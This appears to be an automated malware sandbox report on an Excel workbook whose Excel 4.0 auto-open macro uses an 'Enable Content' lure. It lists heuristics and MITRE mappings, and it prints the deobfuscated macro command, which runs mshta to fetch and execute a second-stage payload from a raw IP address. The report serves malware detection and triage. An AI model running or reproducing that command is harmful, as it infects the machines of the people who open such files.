MALICIOUS
100
Risk Score
Malware Insights
MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious Macro
T1059.005 Command and Scripting Interpreter: Visual Basic
The sample is an Excel file containing Excel 4.0 (XLM) macros, indicated by the OLE_XLM_AUTOOPEN heuristic. The document body explicitly instructs the user to "Enable Editing" and "Enable Content" to view the content, a common lure. The extracted XLM macro defines a string that reconstructs to "cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/aa.html", which is then executed. This indicates the macro's intent is to download and execute a second-stage payload from the specified URL.
Heuristics 3
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Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAMEoletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
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Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
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Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_macros.txt5b6a229f32f262b2c382f3c832a9f8a5e27f96ac7637e45dc67edc9bb251f152 |
xlm-macro | oletools.olevba.extract_all_macros (XLM macro listing) | 1514 bytes |
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